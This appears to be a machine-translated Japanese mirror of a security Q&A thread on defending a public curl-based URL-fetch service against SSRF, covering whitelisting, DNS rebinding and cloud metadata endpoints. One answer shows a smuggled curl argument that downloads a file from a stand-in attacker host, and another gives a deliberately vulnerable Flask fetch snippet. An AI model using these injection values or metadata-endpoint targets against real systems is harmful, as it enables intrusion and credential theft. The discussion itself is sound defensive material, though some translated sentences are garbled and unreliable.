web-dev-qa-db-ja.com

任意のURLへのcurlリクエストは十分に安全にすることができますか?

これは、私がいくつかの私的な研究を行っている別のトピック( Webサイトからのフィルタリングされていないカールリクエストを許可することは脆弱性ですか? )のフォローアップです。

与えられた:

任意のURLを受け入れ、そのURLに対してcurl getリクエストを実行する、パブリックに到達可能なWebサービス。サービスは認証なしで動作します。

リンクされたトピックでは、フィルタリングされていないアクセスはセキュリティの問題であるとすでに述べています。しかし、このトピックに関する何かが定期的に私の考えを浮かび上がらせ、考えるのにしばらく時間がかかりました。そのようなサービスは、SSRFなどに対して十分に安全にすることができますか?


明白なステップ:

  • cURLは強力で、許可されているスキームをhttpおよびftpに制限します(ファイル、Gopher、dictなどを解決します問題)
  • ループバック全体へのアクセスを禁止します:localhost、127.0.0.1-127.0.0.255(127.x.x.xのネットワーク全体がマシン0_oを指していることはまったく知りませんでした)
  • 0.0.0.0へのアクセスを禁止する
  • ブロードキャストIP 255.255.255.255を許可しません(何かが上記の許可されたスキームで何かに役立つことはまずありません)
  • プライベートIPが内部ネットワークへのアクセスを回避するのを防ぎます(プライベートネットワークの一部であるサーバーの偽装?)-> 10.0.0.0/8、172.16.0.0/12および192.168.0.0/16(ありがとう wiki

しかし、もっとありますよね?

  • リダイレクトを追跡するようにcURLが構成されている場合、リダイレクトの偽造は簡単であるため、元のIPと同じ方法でリダイレクトを検証する必要があります。
  • IPv6:古き良きIPv4アドレス空間のすべてをそこで再利用する必要がありますよね?
  • フィルタリングするポートはありますか?スキームはhttp(s)とftpに制限されていることに注意してください。これは技術的にはポートスキャナーである可能性がありますが、悪意のある必要はありませんが、ポート675からWebサイトを取得することは問題ない可能性があります。
  • DoSリモートURLの防止:ある種のトークン(CSRFトークンも同様)を実装し、複数のリクエストの間にタイムアウトを導入します。たとえば、1秒にするか、IPをハンマーで禁止します。 (もちろん、DDoSを解決するわけではありませんが、DDoSを防止することはおそらくここでは範囲外です)

最後に、頭を十分に動かすことができません。

[〜#〜] dns [〜#〜]とは何ですか? localhostまたはプライベートネットワークを指すDNSエントリを登録することは可能ですか?

私のマシンでは、技術的にはhttp://my.boxのGETを実行してルーターを取得できます。では、どうすればそのリスクを軽減できるでしょうか。

nslookupを実行することはソリューションですか? IPを取得した場合は、IPを検証します。そうでない場合、それは何かである可能性があり、否定します。私は自分のNASが行うことを忘れているので、ローカルネットワークのホスト名を介して到達できますが、ここでは偏執狂であることはおそらく良い方法です。

4
Samuel

SSRFは、安全であることがわかっているホストまたはURLの(定期的に更新される)ホワイトリスト、つまりソースIPに依存する副作用がなく、URLへのアクセスによって悪用が発生しない場所でのみ軽減できますあなたのサイトに対するレポート、法律スイートまたは類似のもの(たとえば、誰かがサイトの隠されたページを見つけようとしたり、爆弾を脅したりするため)。

ブラックリストは役立ちますが、十分ではありません。

4
Steffen Ullrich

Steffenの発言に追加し、いくつかの例を提供するために、可能であればホワイトリストを作成します。ブラックリストは、提案しているものと同様に、バイパスすることができます。

例えば:

_http://2915201827/_-これは有効なWebサイトです。それがどのウェブサイトか知っていますか?

また、説明されているツールはプロキシです。スロットルがなければ、誰かがこのツールを使用して別のアプリケーションに対して攻撃を実行する可能性があり、あなたのサイトは法執行機関の目を引くものになります。米国の裁判所は「しかし、それはオープンwifiだったので、だれでもそれを行うことができた」という言い訳にはあまり親切ではなかったため、前例があります。

CURLを呼び出す方法には細心の注意を払う必要があります。理想的には、コマンドラインツールの代わりにライブラリを使用します。例えば:

runtime.exec("curl " + url);

Javaはユーザーがこれを入力することを許可しません:_; ls blah/_ですが、ユーザーがこれを入力することを許可します:

_-O /tmp/asdf http://attacker.example.com/hahaipwn.txt_。

最後の言葉:

このようなサービスには、考慮すべきことがたくさんあります。

3
h4ckNinja

リダイレクトを追跡するようにcURLが構成されている場合、リダイレクトの偽造は簡単であるため、元のIPと同じ方法でリダイレクトを検証する必要があります。

はい。 curlがリダイレクトを追跡しないようにして、リダイレクトが発生したときに手動でLocationヘッダーを確認することをお勧めします。

IPv6:古き良きIPv4アドレス空間のすべてをそこで再利用する必要がありますよね?

はい、IPv6をサポートしている場合。

フィルタリングするポートはありますか?スキームはhttp(s)とftpに制限されていることに注意してください。これは技術的にはポートスキャナーである可能性がありますが、悪意のある必要はありませんが、ポート675からWebサイトを取得することは問題ない可能性があります。 DoSリモートURLの防止:ある種のトークン(CSRFトークンも同様)を実装し、複数のリクエストの間にタイムアウトを導入します。たとえば、1秒にするか、IPをハンマーで禁止します。 (もちろん、DDoSを解決するわけではありませんが、DDoSを防止することはおそらくここでは範囲外です)

サポートしようとしている機能によって異なります。同じIPから、または同じIPへの複数の試行を検出し、それらをレート制限して、しばらくするとCAPTCHAが表示される可能性があります。

最後に、頭を十分に動かすことができません。

DNSとは何ですか? localhostまたはプライベートネットワークを指すDNSエントリを登録することは可能ですか?

はい。 Aレコードをプライベートアドレスでポイントすることは完全に可能です。さらに、関係のないドメインをプライベートアドレスにポイントし、CNAMEをそのドメインにポイントすることで、実質的にプライベートアドレスに解決することができます。

私のマシンでは、技術的には http://my.box のGETを実行してルーターを取得できます。では、どうすればそのリスクを軽減できるでしょうか。

独自のサブネットへのリクエストを処理するマシンを分離する必要があります。これは、トラフィックを公衆インターネットにのみルーティングするように構成されているインターネットゲートウェイにのみアクセスできます。

Nslookupの実行はソリューションですか? IPを取得した場合は、IPを検証します。そうでない場合、それは何かである可能性があり、否定します。私は自分のNASが行うことを忘れているので、ローカルネットワークのホスト名を介して到達できますが、ここでは偏執狂であることはおそらく良い方法です。

はい、明示的にcurlにそのIPに従うように指示する限り。

ルックアップとカールリクエストを統合する必要があります。そうでない場合、攻撃者は、非常に低いTTL(存続時間))を設定し、curlがそれをフェッチする前にDNSレコードを更新する可能性があります。

たとえば、--resolve curlパラメータを使用すると、ホスト名とポートを個別に指定できるため、以前に解決され検証されたIPに接続できますが、完全なホスト名を指定したとおりにcurlを実行できます。 manページから:

--resolve特定のホストとポートのペアにカスタムアドレスを提供します。これを使用すると、curlリクエストに指定されたアドレスを使用させ、通常は解決されるアドレスが使用されるのを防ぐことができます。コマンドラインで提供される一種の/ etc/hosts代替案と考えてください。ポート番号は、ホストが使用される特定のプロトコルに使用される番号である必要があります。つまり、同じホストに異なるポートのアドレスを提供する場合は、いくつかのエントリが必要です。

このオプションを何度も使用して、解決するホスト名を多数追加できます。

(7.21.3で追加)

例えばcurl --resolve www.example.com:443:203.0.113.24 https://www.example.com/

もちろん、上記のすべてが、ターゲットホストからの悪用レポートの提出を妨げるものではありません。たとえば、誰かが別のサーバーを利用するために(SQLインジェクションなどを介して)サービスをプロキシとして使用するリスクは常にあります。確実ではありませんが、サービスを使用するには、完全な監査ログを作成して保持する必要があります。

3
SilverlightFox

Steffen Ullrichの答えに同意します。ブラックリストに登録すると、あまりにも多くの穴が開いてしまい、予期しない「Gotcha」に遭遇するまで時間の問題になります。適切な多層防御は 最小の権限 の観点から開始する必要があるため、これは一般的にセキュリティに当てはまります。 「ユーザーにしてはいけないこと」と尋ねるのではなく「ユーザーが何をすべきかすべきである」と尋ねる方がはるかに安全です。他のすべてを停止します。

ブラックリストに登録する場合は注意が必要な非常に危険な手段が他にもあるため、リストに追加します。この例は、ホワイトリストの重要性を理解するのに役立ちます。

クラウドホスティング環境のメタデータエンドポイント

クラウドホスティング環境に新しく導入された比較的新しいものは、CI/CDおよび関連するインフラストラクチャのメンテナンスを支援するために設計されたメタデータURLです。これらのAPIエンドポイントは、VPSやその他の種類のコンピューティングリソースに関する情報を提供する内部専用のエンドポイントであり、それらを起動するために使用されたアクセスキーを含みます。

これらの人物は非常に複雑であり、SSRFの脆弱性を見つけたハッカーにとって理想的なエンドポイントです。さらに、あなたがあなたの投稿で言及したルールのどれもそれらへのアクセスをブロックしません。いくつかの簡単な詳細:

  1. Google Cloudの場合、メタデータURLはhttp://metadata.google.internal/computeMetadata/v1/project/にあります。ドキュメントは here です。
  2. AWSの場合、メタデータURLはhttp://169.254.169.254/latest/meta-data/にあります。ドキュメントは here です。

これらのことは非常に危険であることを明確にするために:

  1. ここ は、メタデータエンドポイントを詳細に悪用するバグレポートです。
  2. そして here は、SSRFの脆弱性の結果としてShopifyが$ 25,000を支払ったハッカーに関するバグレポートの非常に短い要約ですこれにより、AWSのメタデータエンドポイントにアクセスできるようになり、攻撃者に完全なroot権限がすぐに与えられました。

概要

ここで取り上げるのは、メタデータエンドポイントが危険であるだけではありません(それらは危険であり、クラウド環境でホストしている場合は、を知る必要がありますそれら)。むしろ、要点はブラックリスト化はあまり効果的な戦略ではないということです。これらのメタデータエンドポイントは、元の投稿のどのルールによってもブロックされませんが、非常に危険であり、ホスティングプロバイダーによって異なります。つまり、完全に効果的なブラックリストのように見えるかもしれませんが、ホスティングプロバイダーの切り替えと同様に無害なことをすると、完全に脆弱になります。

つまり、ブロックする必要がある「危険な」もののリストは無限にあります。アプリケーションが実行する必要のある実際のことのリストは、おそらくはるかに短くなります。あなたが非常に説得力のある理由がない限り、やるべきではないことの無限のリストよりも、やるべきことのリストに焦点を合わせる方がはるかに簡単です。

1
Conor Mancone

「サーバー側リクエストフォージェリ(SSRFとも呼ばれます)は、攻撃者が選択した任意のドメインにHTTPリクエストを送信するようにサーバー側アプリケーションを誘導できるWebセキュリティの脆弱性です。 "https://portswigger.net/web-security/ssrf

これは、SSRFに対して脆弱なアプリの例です。

from flask import Flask, escape, request
import requests 
app = Flask(__name__)

@app.route('/')
def hello():
    url = request.args['url']
    return request.get(url).text

パラメータ「url」を受け取り、ユーザーが入力したURLにhttpリクエストを送信します。この脆弱性の影響は〜によって異なります。たとえば、このWebアプリにelasticsearchがインストールされている場合、攻撃者はいくつかの不正なコマンドを実行できますが、request.get( "file:// etc /などのローカルファイルシステムからファイルを取得できるフェッチクライアントがアプリにある場合passwd ")これにより、脆弱性のレベルがさらに上がります!

影響を理解するには、H1のSSRFレポートをいくつか調べます https://www.google.com/search?q=site%3Ahackerone.com+ssrf

開発者は、ユーザーが入力したリクエストで内部ネットワークを利用できないようにする必要があります。一部の人は、あなたがリクエストをすることを禁止するべきであるホストのブラックリストを作ることを勧めます、しかし私はあなたがブラックリストをすることをあなたに見せかけます。なぜなら:

  • ブラックリストとしての愚かなことなど、バイパスする方法はたくさんあります!作業の例として、非常に多くのWAFがありますが、それらはいくつかのトリックを介して人間によってバイパスされる可能性があります! SSRFには、ブラックリストをバイパスするためのトリックがたくさんあります。ここにリストされています。 https://Twitter.com/search?q=ssrf これは好きです http://ⓔⓧ ⓐⓜⓟⓛⓔ.ⓒⓞⓜ 笑:)
  • また、セキュリティホールを「封印」するだけで問題を解決することはお勧めできません。セキュリティホールがある場合は、考えてデザインを変更する必要があります。

だから私の意見では、これに対する正しい解決策はプロキシを使用することです!私はプロキシのローカルインスタンスについて話していることに注意してください。内部リクエストのふりをし、外部のみにIPリークのふりをさせないようにします(これは、プロキシリストを購入するか、独自のプロキシネットワークを作成することで修正できる問題でもあることに注意してください) L3、L4経由でDDOSされた1つの障害点)!

独自のsquidプロキシインスタンスを設定するには多くの方法がありますが、httpプロキシはインターネットからではなく、アプリケーションからのみアクセス可能でなければならないことに注意してください。

つまり、簡単に言うと、Squid httpプロキシのローカルネットワークを禁止し、アプリにhttpリクエストを送信させる必要があります。

 proxies = {
  'http': 'http://my_local_squid_instance:3128',
}
request.get(url, proxies=proxies, timeout=10).text

(外部サーバーが数分で応答するのか数分で応答するのかわからないため、フェッチなどの操作を行う間はキューまたはコルーチンを使用することもお勧めします:)(したがって、DOSのふりをするために外部要求のタイムアウトを追加する必要があります)

P.Sまた、ユーザーのURLフェッチ機能を備えたペットプロジェクトを作成していて、その問題を適切に修正する方法を理解したいと思いました。一部の人は私がSquidプロキシを推奨する理由を身に付けています。その答えは、私がそれを使用する大きな現実のアプリを知っているということです:VK.comはSquidプロキシを使用して外部データをフェッチします。 https://webhook.site を使用することで、その中で確認できます。 User-Agentがsquidプロキシであることを確認してください:)

0
Cookie